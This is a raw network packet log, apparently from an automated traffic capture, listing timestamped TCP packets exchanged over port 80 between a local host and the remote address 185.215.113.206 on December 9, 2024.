Dec 9, 2024 20:27:35.776415110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.776424885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.776477098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.777391911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.777446032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.777478933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.777523041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.778420925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.778472900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.778480053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.778521061 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.779377937 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.779427052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.779469967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.779510975 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.780446053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.780503988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.780548096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.781374931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.781420946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.781465054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.781503916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.782330036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.782381058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.782427073 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.782466888 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.783374071 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.783426046 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.783432007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.783545017 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.784368038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.784471989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.784482002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.784523964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.785396099 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.785455942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.785523891 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.785567045 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.786293983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.786377907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.786406040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.786457062 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.787343025 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.787395954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.787476063 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.787523031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.788331985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.788387060 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.788464069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.788645983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.789338112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.789393902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.789413929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.789431095 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.790345907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.790396929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.790467978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.790606022 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.791383028 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.791433096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.791484118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.791538000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.792393923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.792445898 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.792470932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.792510033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.793416977 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.793448925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.793471098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.793488979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.794449091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.794504881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.794559956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.794599056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.795387983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.795445919 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.795492887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.795535088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.796303988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.796475887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.796480894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.796523094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.797461033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.797698021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.797785044 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.798389912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.798454046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.938441038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.938621998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.938747883 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.938910961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.938963890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.938996077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.939034939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.939939022 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.939987898 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.939999104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.940026045 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.941008091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.941057920 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.941428900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.941543102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.941596985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.942361116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.942418098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.942456961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.942519903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.943253994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.943305016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.943348885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.943393946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.944216967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.944274902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.944282055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.944324970 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.945200920 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.945244074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.945255041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.945283890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.946211100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.946445942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.946496964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.947294950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.947308064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.947364092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.948277950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.948337078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.948368073 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.948410988 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.949146032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.949199915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.949256897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.949342012 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.950170994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.950222969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.950274944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.951153994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.951201916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.951208115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.951240063 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.952161074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.952213049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.952347040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.952399015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.953263044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.953347921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.953351021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.953391075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.954216003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.954266071 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.954314947 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.955216885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.955272913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.955311060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.955372095 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.956099033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.956147909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.956157923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.956199884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.957159042 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.957216978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.957283974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.957329988 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.958142996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.958224058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.958273888 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.959146976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.959206104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.959254980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.959295034 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.960226059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.960297108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.960329056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.960369110 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.961131096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.961185932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.961225033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.961273909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.962153912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.962261915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.962315083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.963113070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.963167906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.963171959 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.963217974 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.964081049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.964133024 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.964216948 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.964265108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.965097904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.965151072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.965193987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.965240002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.966118097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.966173887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.966228962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.967087030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.967149973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.967226982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.967272997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.968147039 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.968199968 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.968271971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.968319893 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.969095945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.969146013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.969157934 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.969198942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.970199108 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.970427990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.970484018 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.971216917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.971273899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.971303940 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.971352100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.972064972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.972117901 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.972153902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.972198963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.973107100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.973169088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.973434925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.974313974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.974373102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.974457026 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.974505901 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.975095034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.975152969 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.975208998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.975259066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.976064920 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.976121902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.976216078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.976264954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.977104902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.977178097 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.977210045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.977248907 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.978092909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.978250027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.978302956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.979537010 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.979554892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.979597092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.979629040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.980058908 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.980143070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.980195999 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.981084108 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.981141090 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.981201887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.981249094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.982059002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.982142925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.982201099 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.983139038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.983198881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.983231068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.983278036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.984057903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.984119892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.984184980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.984232903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.985167027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.985220909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.985292912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.985356092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.986030102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.986135006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.986198902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.987061024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.987112999 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.987179995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.987224102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.988071918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.988120079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.988153934 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.988193035 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.989032984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.989106894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.989150047 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.989202023 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.990039110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.990051985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.990107059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.130606890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.130623102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.130696058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.130702972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.130733967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.130740881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.130806923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.130850077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.131709099 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.131783962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.131818056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.131870031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.132993937 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.133007050 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.133057117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.133436918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.133502960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.133512974 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.133550882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.134509087 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.134576082 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.134610891 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.134654999 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.135487080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.135538101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.135543108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.135580063 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.136424065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.136490107 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.136564016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.136615038 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.137459993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.137516022 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.137541056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.137587070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.138520002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.138590097 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.138751984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.138848066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.139472008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.139483929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.139528990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.140408993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.140479088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.140688896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.140775919 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.141458035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.141518116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.141550064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.141592979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.142426968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.142487049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.142488956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.142529964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.143399954 CET	80	49740	185.215.113.206	192.168.2.4
